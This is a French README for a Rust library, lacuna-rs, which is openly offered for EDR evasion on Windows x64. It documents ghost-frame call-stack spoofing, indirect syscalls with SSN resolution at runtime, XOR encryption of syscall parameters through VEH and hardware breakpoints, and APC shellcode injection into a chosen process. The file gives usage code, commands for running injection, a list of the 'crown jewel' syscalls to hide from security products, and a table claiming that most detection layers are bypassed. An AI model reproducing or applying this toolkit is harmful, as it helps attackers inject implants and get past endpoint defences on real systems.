
Rust crate pour le spoofing de pile d'appels ghost-frame, les appels système indirects à l'exécution, et l'injection APC sur Windows x64. Fournit la résolution SSN, l'émission de stubs JIT, et le chiffrement de paramètres basé sur VEH pour l'évasion EDR.
Usurpation de pile d'appels par ghost-frame + appels système indirects à l'exécution pour Windows x64 — porté en Rust.
Porté depuis LACUNA Chain (lacuna_chain.c) par Mohamed Alzhrani (0xmaz).
lacuna-rs est une crate Rust réutilisable qui fournit les mêmes primitives que la TTP C originale, structurée pour être intégrée dans n'importe quel projet Rust — comme wsyscall-rs ou syscalls-rs, mais avec résolution SSN à l'exécution, ciblage syscall;ret par fonction et usurpation de pile par ghost-frame.
La fonctionnalité
stack-spooféchoue silencieusement si la crate consommatrice n'est pas compilée avec des pointeurs de trame.
Les primitives d'écrasement de pile dans chain.rs localisent l'emplacement de l'adresse de retour de l'appelant via un assembleur inline mov rbp, {x}. Cela nécessite que la chaîne RBP soit intacte. Rust (et la plupart des compilateurs en mode release) omettent les pointeurs de trame par défaut.
build.rs définit force-frame-pointers=yes pour la génération de code de cette crate, mais Cargo ne peut pas propager les flags du compilateur aux crates en aval. Vous devez ajouter ceci à votre propre projet :
# .cargo/config.toml (dans VOTRE crate, pas dans lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Sans cela, stomp_plant() lira des valeurs erronées depuis RBP et soit ne fera rien (meilleur cas), soit corrompra la pile (pire cas). La crate n'a aucun moyen de détecter à l'exécution si les pointeurs de trame sont activés — cela ne fonctionnera tout simplement pas.
Si vous n'avez besoin que des primitives d'analyse, de résolution SSN ou d'injection (sans usurpation de pile), vous pouvez omettre la fonctionnalité stack-spoof et cette exigence ne s'applique pas.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
Lorsqu'aucune fonctionnalité n'est activée, seules les couches d'analyse/PE/NT sont disponibles.
cargo run --example scan
cargo run --example verify --features stack-spoof
Exemple d'injection avec un implant réel - C2 hors ligne mais le Shellcode s'est exécuté
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Ajoutez --verbose pour activer les diagnostics VEH (dumps de pile, impressions de registres) :
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Au lieu de mettre en file d'attente des APC à chaque thread du processus cible (ce qui peut planter le processus lorsque trop de threads sont alertés simultanément), inject_sapc utilise un algorithme de notation pour sélectionner les meilleurs MAX_APC_THREADS (5) candidats :
NtQueryInformationThread(ThreadCycleTime) — indicateur principal d'activitéNtQueryInformationThread(ThreadTimes) — temps noyau + utilisateurNtQueryInformationThread(ThreadSuspendCount) — les threads non suspendus reçoivent un bonus de +300 ; les threads suspendus reçoivent -150 par suspensionNtQueryInformationThread(ThreadBasicInformation) — les threads avec une priorité de 8 à 10 reçoivent un bonus de +150 ; les priorités hors plage reçoivent une pénalité de -100Les threads totalement inactifs (zéro cycles et zéro temps CPU) sont complètement ignorés. Les candidats restants sont triés par score (le plus élevé en premier, ex-æquo sur les cycles) et tronqués aux 5 premiers.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();
// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();
// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };
// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
Tous les appels API n'ont pas besoin du traitement complet LACUNA. Le principe clé est : cacher les appels qu'un EDR corrélerait comme activité d'injection ou de post-exploitation.
Ce sont les appels système NT « bijoux de la couronne » que les EDR accrochent et corrèlent :
Pour chacun de ces appels :
nt::resolve(ntdll, b"NtXxx\0")stub::make_stub(ssn, syscall_ret)veh::pcrypt_arm(key, syscall_ret, true)chain::stomp_plant() et chain::stomp_restore()nt::resolve(ntdll, b"NtXxx\0") — retourne (SSN, syscall_ret_VA).stub::make_stub(ssn, syscall_ret) — retourne un pointeur de fonction appelable.extern "system" fn(...) approprié via core::mem::transmute.chain::build_chain() et appeler chain::stomp_plant() / chain::stomp_restore() autour de l'appel.veh::pcrypt_arm(key, syscall_ret, true) avant l'appel, et veh::pcrypt_disarm() après.Le stub gère automatiquement la séquence mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Si un gadget fantôme a été enregistré, le stub achemine via JMP [RBX] pour une redirection d'exécution à double usage + trame de pont sans artefact.
Les 9 contributions clés de l'article LACUNA Chain sont représentées dans le code :
syscalls-rs ?syscalls-rs et wsyscall-rs génèrent une table SSN au moment de la compilation à partir du ntdll d'une build Windows spécifique. Si la machine cible exécute une build différente, les SSN sont incorrects et les appels système échouent (ou déclenchent des heuristiques EDR).
lacuna-rs résout les SSN à l'exécution en lisant directement les stubs de ntdll, et cible la propre instruction syscall;ret de la fonction pour que RIP soit à l'intérieur de ntdll à l'entrée du noyau — contournant les heuristiques EDR « inadéquation SSN » et « appel système indirect depuis une mémoire non adossée ».
De plus, lacuna-rs fournit la chaîne d'usurpation de pile par ghost-frame que syscalls-rs ne propose pas.
x86_64-pc-windows-msvc (ou x86_64-pc-windows-gnu)litcrypt2 (obfuscation de chaînes à la compilation)stack-spoof)La fonctionnalité stack-spoof nécessite des pointeurs de trame. build.rs définit force-frame-pointers=yes automatiquement pour cette crate, mais les crates consommatrices doivent également le définir dans leur .cargo/config.toml :
# .cargo/config.toml (dans la crate consommatrice)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Tous les littéraux de chaîne dans la crate et les exemples sont enveloppés dans des macros lc!(), qui les chiffrent à la compilation et les déchiffrent à l'exécution. La clé de chiffrement est lue depuis la variable d'environnement LITCRYPT_ENCRYPT_KEY ; si elle n'est pas définie, litcrypt2 génère automatiquement une clé aléatoire.
Pour fixer une clé pour des builds reproductibles :
set LITCRYPT_ENCRYPT_KEY=votre-clé-secrète
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # Définit force-frame-pointers pour stack-spoof
├── src/
│ ├── lib.rs # Racine de la crate + réexportations + scan_all() + configuration litcrypt2
│ ├── win.rs # Liaisons FFI Win32/NT (compatible no_std)
│ ├── pe.rs # Analyse de section PE + export
│ ├── scan.rs # Analyse de région fantôme .pdata + gadgets
│ ├── nt.rs # Résolution SSN + ciblage syscall;ret
│ ├── stub.rs # Émission de stub d'appel système indirect JIT
│ ├── veh.rs # Chiffrement des paramètres VEH + point d'arrêt matériel
│ ├── chain.rs # Chaîne ghost-frame LACUNA + écrasement
│ └── inject.rs # Injection APC basée sur les sections
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + cible windows-msvc
Ce projet a été activement assisté par un chatbot IA. J'ai eu la chance de tester un modèle Open Source plus récent et très performant (GLM-5.2 de Z.ai (Zhipu AI)) et j'ai voulu lui confier une tâche difficile. Leçons apprises : cela a bien fonctionné lorsque l'humain savait à quoi devait ressembler le résultat. Sinon... que du mauvais.
MIT
| Primitive | Fonction C | Module Rust |
|---|
| Analyse de section PE + export | pe_section(), pe_export() | pe |
Analyse de région fantôme .pdata | scan_ghosts(), best_ghost() | scan |
Découverte de gadget fantôme (jmp [rbx]) | scan_ghost_gadgets() | scan |
Chercheur d'espace NOP de win32u | win32u_nop_gap() | scan |
| Chercheur d'ancrage BYOUD-MF | find_mf_target() | scan |
| Résolution SSN (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Localisateur syscall;ret par fonction | find_func_syscall() | nt |
| Émission de stub d'appel système indirect JIT | alloc_stub() | stub |
| Redirection de stub vers gadget fantôme | (dans alloc_stub()) | stub |
| Chiffrement des paramètres VEH + point d'arrêt matériel | param_encrypt_veh(), pcrypt_arm() | veh |
| VEH de protection de chaîne | chain_veh() | veh |
| Construction de chaîne LACUNA | build_chain() | chain |
| Écrasement de pile (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Parcours de chaîne (vérification) | lacuna_walk_chain() | chain |
| Injection APC basée sur les sections | do_inject_sapc() | inject |
| Fonctionnalité | Description | Nécessite des pointeurs de trame ? |
|---|
syscalls (défaut) | Résolution SSN + émission de stub JIT | Non |
inject (défaut) | Injection APC basée sur les sections (inject::inject_sapc) | Non |
veh | Chiffrement des paramètres VEH + point d'arrêt matériel | Non |
stack-spoof | Chaîne ghost-frame LACUNA + écrasement de pile | Oui |
no-std | Mode no_std (expérimental) | Non |
| Appel | Pourquoi c'est sensible |
|---|
NtOpenProcess | Ouvre un handle vers un autre processus — première étape de l'injection |
NtCreateSection + NtMapViewOfSection (distant) | Signature d'injection basée sur les sections |
NtWriteVirtualMemory | Écriture inter-processus — indicateur classique d'injection |
NtCreateThreadEx | Création de thread distant — primitive d'injection au plus haut signal |
NtQueueApcThread | Injection APC — signal élevé |
NtProtectVirtualMemory | Changements de permissions RWX — indicateur de préparation de shellcode |
NtAllocateVirtualMemory (distant) | Allocation distante — prélude à l'injection |
NtSetInformationThread | Masquage de thread (HideFromDebugger) — indicateur de contournement |
| Appel | Pourquoi c'est sûr |
|---|
NtQueryInformationThread | Uniquement requête, rarement accroché, pas d'écriture inter-processus |
NtDelayExecution | Sommeil — bénin, utilisé par toutes les applications |
NtClose | Fermeture de handle — bénin, extrêmement courant |
GetModuleHandleA / GetProcAddress | Résolution de module — pas un appel système, non accrochable par les hooks utilisateur EDR |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | Énumération de threads — kernel32, pas un appel système ntdll |
OpenThread / CloseHandle | Opérations standard de handle — kernel32 |
GetThreadContext / SetThreadContext | Nécessaire pour DR0 — kernel32, uniquement dans le processus lui-même |
lc!()set_verbose(true)| # | Concept de l'article | Emplacement dans le code | Description |
|---|
| 1 | BYOUD-Gap (aucune modification .pdata) | chain.rs — construction de la chaîne ghost-frame | Exploite les écarts entre les entrées RUNTIME_FUNCTION ; le dérouleur les traite comme des trames feuilles (RSP += 8) |
| 2 | Attaque par fenêtre APC ETW-Ti | inject.rs — vidange alertable NtDelayExecution | Contrôle le moment où l'instantané de pile APC ETW-Ti se déclenche en manipulant l'état alertable du thread |
| 3 | Chiffrement des paramètres en contexte BYOUD | veh.rs — pcrypt_arm(), param_encrypt_veh() | Chiffre en XOR les paramètres d'appel système au moment de la mise en place ; les déchiffre dans un VEH par point d'arrêt matériel à l'instruction syscall |
| 4 | Chaîne d'espace NOP Win32u + Gadget fantôme | scan.rs — win32u_nop_gap(), scan_ghost_gadgets() | 1 242 espaces NOP dans win32u.dll fournissent des trames feuilles autorisées ; gadget fantôme JMP [RBX] à ntdll+0xFC47B |
| 5 | Proximité sémantique ghost kernelbase | chain.rs — couche L2_kbase près de VirtualProtect | Fantôme de 238 octets se terminant au point d'entrée de VirtualProtect — impossible à distinguer d'un site de retour VP réel |
| 6 | BYOUD-MF (Téléportation RSP de trame machine) | chain.rs — struct MachFrame, scan.rs — find_mf_target() | Exploite UWOP_PUSH_MACHFRAME (opcode 10) dans les dispatchers KiUser* pour une téléportation RSP arbitraire en une seule trame |
| 7 | BYOUD-RT (Calcul RSP à l'exécution) | chain.rs — teb_stack_base(), teb_stack_limit() | Lit TEB.StackBase (GS:[0x08]) au moment de l'appel pour calculer la distance exacte de la trame — pas besoin de pré-étalonnage |
| 8 | Proximité ghost wow64.dll | chain.rs — couche L1_wow64, scan.rs — cible Wow64PrepareForException | Fantôme de 91 octets se terminant à l'entrée de Wow64PrepareForException — quatrième couche sémantique de la chaîne |
| 9 | Chaîne LACUNA à six couches | chain.rs — struct LacunaStack (L1-L5 + MachFrame) | Chaîne complète : KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| Couche de détection | Statut | Implémentation |
|---|
| Vérification du module d'origine | Contourné | Toutes les trames dans ntdll / kernelbase / wow64 / win32u |
| Exactitude du parcours de déroulement | Contourné | Toutes les trames LACUNA sont feuilles -> RSP+8 valide |
Analyse forensique .pdata | Contourné | Aucune modification ; les écarts préexistent |
| Pile d'ombre CET | Contourné | Chaîne purement feuille ; la pile d'ombre n'est pas consultée |
| Analyse sémantique des trames | Contourné | Adjacence exception WoW64 + VirtualProtect |
| Exemption de règle Win32u | Contourné | Couche 4 explicitement exclue par toutes les règles |
| STACKWALK ETW-Ti | Contourné | L'attaque par fenêtre APC contrôle le timing de l'instantané |
| Inspection des paramètres | Contourné | Déchiffrement par VEH de point d'arrêt matériel |
| Callbacks noyau | PARTIEL | Les opérations de handle déclenchent encore ObRegisterCallbacks |